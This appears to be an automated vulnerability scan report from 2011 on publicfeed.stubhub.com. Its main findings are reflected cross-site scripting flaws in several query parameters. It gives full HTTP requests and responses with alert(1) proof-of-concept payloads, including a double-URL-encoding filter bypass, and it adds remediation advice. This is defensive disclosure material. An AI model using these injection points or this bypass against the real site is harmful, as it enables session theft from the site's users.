XSS, Cross Site Scripting, CWE-79, CAPEC-86, publicfeed.stubhub.com

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://publicfeed.stubhub.com/listingCatalog/select/ [&q parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://publicfeed.stubhub.com
Path:	/listingCatalog/select/

Issue detail

The value of the &q request parameter is copied into the HTML document as plain text between tags. The payload 4b7c5<script>alert(1)</script>cc2380dae62 was submitted in the &q parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /listingCatalog/select/?&q=stubhubDocumentType:ticket%20AND%20id:2721879884b7c5<script>alert(1)</script>cc2380dae62&qt=standard&wt=json&json.wrf=jsonp1297860207517&start=0&rows=1 HTTP/1.1
Host: publicfeed.stubhub.com
Proxy-Connection: keep-alive
Referer: http://m.stubhub.com/mobile/find/index.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26ADDBE0051D21A9-6000012DA000AA86[CE]; fsr.r={"d":90,"i":"1297856459632_689354","e":1298461275657,"s":1}; s_pers=%20s_nr%3D1297856508261-New%7C1331984508261%3B; mbox=session#1297856457596-151700#1297858995|PC#1297856457596-151700.17#1332071535|disable#browser%20timeout#1297860107|check#true#1297857195; TLTSID=5150E8E439CA1039C27B9F6A81AA0584; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; TLTHID=62479E5E39CA1039C5B4CBB7689B8A72

Response

HTTP/1.1 200 OK
Date: Wed, 16 Feb 2011 12:44:22 GMT
Server: Apache
Set-Cookie: TLTHID=7AB32F9439CA103905129C5164727784; Path=/; Domain=.stubhub.com
Content-Length: 292
Content-Type: text/plain;charset=UTF-8

jsonp1297860207517({"responseHeader":{"status":0,"QTime":2,"params":{"json.wrf":"jsonp1297860207517","wt":"json","rows":"1","start":"0","q":"stubhubDocumentType:ticket AND id:2721879884b7c5<script>alert(1)</script>cc2380dae62","qt":"standard"}},"response":{"numFound":0,"start":0,"docs":[]}})

1.2. http://publicfeed.stubhub.com/listingCatalog/select/ [fl parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://publicfeed.stubhub.com
Path:	/listingCatalog/select/

Issue detail

The value of the fl request parameter is copied into the HTML document as plain text between tags. The payload fa4e5<script>alert(1)</script>d3bfaaf0029 was submitted in the fl parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /listingCatalog/select/?q=stubhubDocumentType:event%20AND%20active:1%20AND%20cancelled:0%20AND%20NOT%20maxPrice:0.0%20AND%20ancestorGenreIds:(28)%20AND%20ancestorGeoIds:4945%20AND%20event_date:[NOW%20TO%20NOW%2b14DAYS]&start=0&rows=36&fl=act_primary%20description%20genreDateDesc%20event_date_local%20event_time_local%20event_date_time_local%20hide_event_date%20venue_name%20geography_parent%20image_url%20event_id%20channelId%20ancestorGenreIds%20nickname%20maxPrice%20minPrice%20city%20state%20totalTickets%20zoneIds%20zoneDescriptionsfa4e5<script>alert(1)</script>d3bfaaf0029&wt=json&json.wrf=jsonp1297860207514&sort=event_date_time_local%20asc HTTP/1.1
Host: publicfeed.stubhub.com
Proxy-Connection: keep-alive
Referer: http://m.stubhub.com/mobile/find/index.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26ADDBE0051D21A9-6000012DA000AA86[CE]; fsr.r={"d":90,"i":"1297856459632_689354","e":1298461275657,"s":1}; s_pers=%20s_nr%3D1297856508261-New%7C1331984508261%3B; mbox=session#1297856457596-151700#1297858995|PC#1297856457596-151700.17#1332071535|disable#browser%20timeout#1297860107|check#true#1297857195; TLTSID=5150E8E439CA1039C27B9F6A81AA0584; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; TLTHID=562591BC39CA1039B933A25A620F9F6D

Response

HTTP/1.1 200 OK
Date: Wed, 16 Feb 2011 12:44:08 GMT
Server: Apache
Set-Cookie: TLTHID=7266C90E39CA10391800A280C0D7762B; Path=/; Domain=.stubhub.com
Content-Length: 4098
Content-Type: text/plain;charset=UTF-8

jsonp1297860207514({"responseHeader":{"status":0,"QTime":4,"params":{"json.wrf":"jsonp1297860207514","sort":"event_date_time_local asc","wt":"json","rows":"36","fl":"act_primary description genreDateD
...[SNIP]...
nt_time_local event_date_time_local hide_event_date venue_name geography_parent image_url event_id channelId ancestorGenreIds nickname maxPrice minPrice city state totalTickets zoneIds zoneDescriptionsfa4e5<script>alert(1)</script>d3bfaaf0029","start":"0","q":"stubhubDocumentType:event AND active:1 AND cancelled:0 AND NOT maxPrice:0.0 AND ancestorGenreIds:(28) AND ancestorGeoIds:4945 AND event_date:[NOW TO NOW+14DAYS]"}},"response":{"numFo
...[SNIP]...

1.3. http://publicfeed.stubhub.com/listingCatalog/select/ [json.wrf parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://publicfeed.stubhub.com
Path:	/listingCatalog/select/

Issue detail

The value of the json.wrf request parameter is copied into the HTML document as plain text between tags. The payload 40063<script>alert(1)</script>df13ebd8fa9 was submitted in the json.wrf parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /listingCatalog/select/?q=stubhubDocumentType:event%20AND%20active:1%20AND%20cancelled:0%20AND%20NOT%20maxPrice:0.0%20AND%20ancestorGenreIds:(28)%20AND%20ancestorGeoIds:4945%20AND%20event_date:[NOW%20TO%20NOW%2b14DAYS]&start=0&rows=36&fl=act_primary%20description%20genreDateDesc%20event_date_local%20event_time_local%20event_date_time_local%20hide_event_date%20venue_name%20geography_parent%20image_url%20event_id%20channelId%20ancestorGenreIds%20nickname%20maxPrice%20minPrice%20city%20state%20totalTickets%20zoneIds%20zoneDescriptions&wt=json&json.wrf=jsonp129786020751440063<script>alert(1)</script>df13ebd8fa9&sort=event_date_time_local%20asc HTTP/1.1
Host: publicfeed.stubhub.com
Proxy-Connection: keep-alive
Referer: http://m.stubhub.com/mobile/find/index.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26ADDBE0051D21A9-6000012DA000AA86[CE]; fsr.r={"d":90,"i":"1297856459632_689354","e":1298461275657,"s":1}; s_pers=%20s_nr%3D1297856508261-New%7C1331984508261%3B; mbox=session#1297856457596-151700#1297858995|PC#1297856457596-151700.17#1332071535|disable#browser%20timeout#1297860107|check#true#1297857195; TLTSID=5150E8E439CA1039C27B9F6A81AA0584; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; TLTHID=562591BC39CA1039B933A25A620F9F6D

Response

HTTP/1.1 200 OK
Date: Wed, 16 Feb 2011 12:44:11 GMT
Server: Apache
Set-Cookie: TLTHID=741955C839CA103908E2E882A4C3D1B2; Path=/; Domain=.stubhub.com
Content-Length: 4572
Content-Type: text/plain;charset=UTF-8

jsonp129786020751440063<script>alert(1)</script>df13ebd8fa9({"responseHeader":{"status":0,"QTime":21,"params":{"json.wrf":"jsonp129786020751440063<script>alert(1)</script>df13ebd8fa9","sort":"event_da
...[SNIP]...

1.4. http://publicfeed.stubhub.com/listingCatalog/select/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://publicfeed.stubhub.com
Path:	/listingCatalog/select/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 5e362%253cscript%253ealert%25281%2529%253c%252fscript%253e40124993160 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 5e362<script>alert(1)</script>40124993160 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /listingCatalog/select/?q=stubhubDocumentType:event%20AND%20active:1%20AND%20cancelled:0%20AND%20NOT%20maxPrice:0.0%20AND%20ancestorGenreIds:(28)%20AND%20ancestorGeoIds:4945%20AND%20event_date:[NOW%20TO%20NOW%2b14DAYS]&start=0&rows=36&fl=act_primary%20description%20genreDateDesc%20event_date_local%20event_time_local%20event_date_time_local%20hide_event_date%20venue_name%20geography_parent%20image_url%20event_id%20channelId%20ancestorGenreIds%20nickname%20maxPrice%20minPrice%20city%20state%20totalTickets%20zoneIds%20zoneDescriptions&wt=json&json.wrf=jsonp1297860207514&sort=event_date_time_local%20asc&5e362%253cscript%253ealert%25281%2529%253c%252fscript%253e40124993160=1 HTTP/1.1
Host: publicfeed.stubhub.com
Proxy-Connection: keep-alive
Referer: http://m.stubhub.com/mobile/find/index.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26ADDBE0051D21A9-6000012DA000AA86[CE]; fsr.r={"d":90,"i":"1297856459632_689354","e":1298461275657,"s":1}; s_pers=%20s_nr%3D1297856508261-New%7C1331984508261%3B; mbox=session#1297856457596-151700#1297858995|PC#1297856457596-151700.17#1332071535|disable#browser%20timeout#1297860107|check#true#1297857195; TLTSID=5150E8E439CA1039C27B9F6A81AA0584; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; TLTHID=562591BC39CA1039B933A25A620F9F6D

Response

HTTP/1.1 200 OK
Date: Wed, 16 Feb 2011 12:44:14 GMT
Server: Apache
Set-Cookie: TLTHID=75FA927639CA103929B1F9F5971AE9FD; Path=/; Domain=.stubhub.com
Content-Length: 4537
Content-Type: text/plain;charset=UTF-8

jsonp1297860207514({"responseHeader":{"status":0,"QTime":7,"params":{"json.wrf":"jsonp1297860207514","sort":"event_date_time_local asc","wt":"json","rows":"36","fl":"act_primary description genreDateD
...[SNIP]...
time_local event_date_time_local hide_event_date venue_name geography_parent image_url event_id channelId ancestorGenreIds nickname maxPrice minPrice city state totalTickets zoneIds zoneDescriptions","5e362<script>alert(1)</script>40124993160":"1","start":"0","q":"stubhubDocumentType:event AND active:1 AND cancelled:0 AND NOT maxPrice:0.0 AND ancestorGenreIds:(28) AND ancestorGeoIds:4945 AND event_date:[NOW TO NOW+14DAYS]"}},"response":{"n
...[SNIP]...

1.5. http://publicfeed.stubhub.com/listingCatalog/select/ [q parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://publicfeed.stubhub.com
Path:	/listingCatalog/select/

Issue detail

The value of the q request parameter is copied into the HTML document as plain text between tags. The payload 7ae2d<script>alert(1)</script>a5ae7eaee15 was submitted in the q parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /listingCatalog/select/?q=stubhubDocumentType:event%20AND%20active:1%20AND%20cancelled:0%20AND%20NOT%20maxPrice:0.0%20AND%20ancestorGenreIds:(28)%20AND%20ancestorGeoIds:4945%20AND%20event_date:[NOW%20TO%20NOW%2b14DAYS]7ae2d<script>alert(1)</script>a5ae7eaee15&start=0&rows=36&fl=act_primary%20description%20genreDateDesc%20event_date_local%20event_time_local%20event_date_time_local%20hide_event_date%20venue_name%20geography_parent%20image_url%20event_id%20channelId%20ancestorGenreIds%20nickname%20maxPrice%20minPrice%20city%20state%20totalTickets%20zoneIds%20zoneDescriptions&wt=json&json.wrf=jsonp1297860207514&sort=event_date_time_local%20asc HTTP/1.1
Host: publicfeed.stubhub.com
Proxy-Connection: keep-alive
Referer: http://m.stubhub.com/mobile/find/index.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26ADDBE0051D21A9-6000012DA000AA86[CE]; fsr.r={"d":90,"i":"1297856459632_689354","e":1298461275657,"s":1}; s_pers=%20s_nr%3D1297856508261-New%7C1331984508261%3B; mbox=session#1297856457596-151700#1297858995|PC#1297856457596-151700.17#1332071535|disable#browser%20timeout#1297860107|check#true#1297857195; TLTSID=5150E8E439CA1039C27B9F6A81AA0584; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; TLTHID=562591BC39CA1039B933A25A620F9F6D

Response

HTTP/1.1 200 OK
Date: Wed, 16 Feb 2011 12:44:05 GMT
Server: Apache
Set-Cookie: TLTHID=70B8300C39CA10390367AB89BD3B9A72; Path=/; Domain=.stubhub.com
Content-Length: 4530
Content-Type: text/plain;charset=UTF-8

jsonp1297860207514({"responseHeader":{"status":0,"QTime":9,"params":{"json.wrf":"jsonp1297860207514","sort":"event_date_time_local asc","wt":"json","rows":"36","fl":"act_primary description genreDateD
...[SNIP]...
neIds zoneDescriptions","start":"0","q":"stubhubDocumentType:event AND active:1 AND cancelled:0 AND NOT maxPrice:0.0 AND ancestorGenreIds:(28) AND ancestorGeoIds:4945 AND event_date:[NOW TO NOW+14DAYS]7ae2d<script>alert(1)</script>a5ae7eaee15"}},"response":{"numFound":6,"start":0,"docs":[{"event_id":"998038","act_primary":"Auburn Tigers","ancestorGenreIds":"0 28 30 333 90934 9969","channelId":"28","city":"Auburn","description":"Vanderbilt
...[SNIP]...

2. Cookie scoped to parent domain previous next
There are 2 instances of this issue:

/favicon.ico
/listingCatalog/select/

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

2.1. http://publicfeed.stubhub.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://publicfeed.stubhub.com
Path:	/favicon.ico

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=0D2E5C2639CC1039A7B2904AB7E84BF7; Path=/; Domain=.stubhub.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /favicon.ico HTTP/1.1
Host: publicfeed.stubhub.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26ADDBE0051D21A9-6000012DA000AA86[CE]; fsr.r={"d":90,"i":"1297856459632_689354","e":1298461275657,"s":1}; s_pers=%20s_nr%3D1297856508261-New%7C1331984508261%3B; mbox=session#1297856457596-151700#1297858995|PC#1297856457596-151700.17#1332071535|disable#browser%20timeout#1297860107|check#true#1297857195; TLTSID=5150E8E439CA1039C27B9F6A81AA0584; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; STUB_SESS=filler%7E%5E%7E0%7Cguid%7E%5E%7E9C669B8784783445E0440021286899D6%7E%5E%7E02%2F16%2F2011; STUB_SESSION=filler%7E%5E%7E0%7Cstub_sid%7E%5E%7E2907641843%7E%5E%7E02%2F16%2F2011; TLTHID=7AB32F9439CA103905129C5164727784

Response

HTTP/1.1 200 OK
Date: Wed, 16 Feb 2011 12:55:37 GMT
Server: Apache
Set-Cookie: TLTHID=0D2E5C2639CC1039A7B2904AB7E84BF7; Path=/; Domain=.stubhub.com
Last-Modified: Thu, 23 Mar 2006 01:37:46 GMT
Accept-Ranges: bytes
Content-Length: 1406
Content-Type: text/plain

..............h.......(....... ........................................V...............3...33..3f..3...3...3...f...f3..ff..f...f...f........3...f...................3...f...................3...f.......
...[SNIP]...

2.2. http://publicfeed.stubhub.com/listingCatalog/select/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://publicfeed.stubhub.com
Path:	/listingCatalog/select/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=59DB9CCA39CA103903798C27FCC6EE22; Path=/; Domain=.stubhub.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /listingCatalog/select/?q=stubhubDocumentType:event%20AND%20active:1%20AND%20cancelled:0%20AND%20NOT%20maxPrice:0.0%20AND%20ancestorGenreIds:(28)%20AND%20ancestorGeoIds:4945%20AND%20event_date:[NOW%20TO%20NOW%2b14DAYS]&start=0&rows=36&fl=act_primary%20description%20genreDateDesc%20event_date_local%20event_time_local%20event_date_time_local%20hide_event_date%20venue_name%20geography_parent%20image_url%20event_id%20channelId%20ancestorGenreIds%20nickname%20maxPrice%20minPrice%20city%20state%20totalTickets%20zoneIds%20zoneDescriptions&wt=json&json.wrf=jsonp1297860207514&sort=event_date_time_local%20asc HTTP/1.1
Host: publicfeed.stubhub.com
Proxy-Connection: keep-alive
Referer: http://m.stubhub.com/mobile/find/index.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26ADDBE0051D21A9-6000012DA000AA86[CE]; fsr.r={"d":90,"i":"1297856459632_689354","e":1298461275657,"s":1}; s_pers=%20s_nr%3D1297856508261-New%7C1331984508261%3B; mbox=session#1297856457596-151700#1297858995|PC#1297856457596-151700.17#1332071535|disable#browser%20timeout#1297860107|check#true#1297857195; TLTSID=5150E8E439CA1039C27B9F6A81AA0584; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; TLTHID=562591BC39CA1039B933A25A620F9F6D

Response

HTTP/1.1 200 OK
Date: Wed, 16 Feb 2011 12:43:27 GMT
Server: Apache
Set-Cookie: TLTHID=59DB9CCA39CA103903798C27FCC6EE22; Path=/; Domain=.stubhub.com
Content-Length: 4490
Content-Type: text/plain;charset=UTF-8

jsonp1297860207514({"responseHeader":{"status":0,"QTime":14,"params":{"json.wrf":"jsonp1297860207514","sort":"event_date_time_local asc","wt":"json","rows":"36","fl":"act_primary description genreDate
...[SNIP]...

3. Cookie without HttpOnly flag set previous next
There are 2 instances of this issue:

/favicon.ico
/listingCatalog/select/

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

3.1. http://publicfeed.stubhub.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://publicfeed.stubhub.com
Path:	/favicon.ico

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=0D2E5C2639CC1039A7B2904AB7E84BF7; Path=/; Domain=.stubhub.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

3.2. http://publicfeed.stubhub.com/listingCatalog/select/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://publicfeed.stubhub.com
Path:	/listingCatalog/select/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

TLTHID=59DB9CCA39CA103903798C27FCC6EE22; Path=/; Domain=.stubhub.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /listingCatalog/select/?q=stubhubDocumentType:event%20AND%20active:1%20AND%20cancelled:0%20AND%20NOT%20maxPrice:0.0%20AND%20ancestorGenreIds:(28)%20AND%20ancestorGeoIds:4945%20AND%20event_date:[NOW%20TO%20NOW%2b14DAYS]&start=0&rows=36&fl=act_primary%20description%20genreDateDesc%20event_date_local%20event_time_local%20event_date_time_local%20hide_event_date%20venue_name%20geography_parent%20image_url%20event_id%20channelId%20ancestorGenreIds%20nickname%20maxPrice%20minPrice%20city%20state%20totalTickets%20zoneIds%20zoneDescriptions&wt=json&json.wrf=jsonp1297860207514&sort=event_date_time_local%20asc HTTP/1.1
Host: publicfeed.stubhub.com
Proxy-Connection: keep-alive
Referer: http://m.stubhub.com/mobile/find/index.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26ADDBE0051D21A9-6000012DA000AA86[CE]; fsr.r={"d":90,"i":"1297856459632_689354","e":1298461275657,"s":1}; s_pers=%20s_nr%3D1297856508261-New%7C1331984508261%3B; mbox=session#1297856457596-151700#1297858995|PC#1297856457596-151700.17#1332071535|disable#browser%20timeout#1297860107|check#true#1297857195; TLTSID=5150E8E439CA1039C27B9F6A81AA0584; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; TLTHID=562591BC39CA1039B933A25A620F9F6D

Response

4. Content type incorrectly stated previous
There are 2 instances of this issue:

/favicon.ico
/listingCatalog/select/

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

4.1. http://publicfeed.stubhub.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://publicfeed.stubhub.com
Path:	/favicon.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

Response

4.2. http://publicfeed.stubhub.com/listingCatalog/select/ previous

Summary

Severity:	Information
Confidence:	Firm
Host:	http://publicfeed.stubhub.com
Path:	/listingCatalog/select/

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain;charset=UTF-8

The response states that it contains plain text. However, it actually appears to contain CSS.

Request

GET /listingCatalog/select/?q=stubhubDocumentType:event%20AND%20active:1%20AND%20cancelled:0%20AND%20NOT%20maxPrice:0.0%20AND%20ancestorGenreIds:(28)%20AND%20ancestorGeoIds:4945%20AND%20event_date:[NOW%20TO%20NOW%2b14DAYS]&start=0&rows=36&fl=act_primary%20description%20genreDateDesc%20event_date_local%20event_time_local%20event_date_time_local%20hide_event_date%20venue_name%20geography_parent%20image_url%20event_id%20channelId%20ancestorGenreIds%20nickname%20maxPrice%20minPrice%20city%20state%20totalTickets%20zoneIds%20zoneDescriptions&wt=json&json.wrf=jsonp1297860207514&sort=event_date_time_local%20asc HTTP/1.1
Host: publicfeed.stubhub.com
Proxy-Connection: keep-alive
Referer: http://m.stubhub.com/mobile/find/index.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26ADDBE0051D21A9-6000012DA000AA86[CE]; fsr.r={"d":90,"i":"1297856459632_689354","e":1298461275657,"s":1}; s_pers=%20s_nr%3D1297856508261-New%7C1331984508261%3B; mbox=session#1297856457596-151700#1297858995|PC#1297856457596-151700.17#1332071535|disable#browser%20timeout#1297860107|check#true#1297857195; TLTSID=5150E8E439CA1039C27B9F6A81AA0584; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; TLTHID=562591BC39CA1039B933A25A620F9F6D

Response

Report generated by CloudScan Vulnerability Crawler at Sun Feb 27 16:18:11 CST 2011.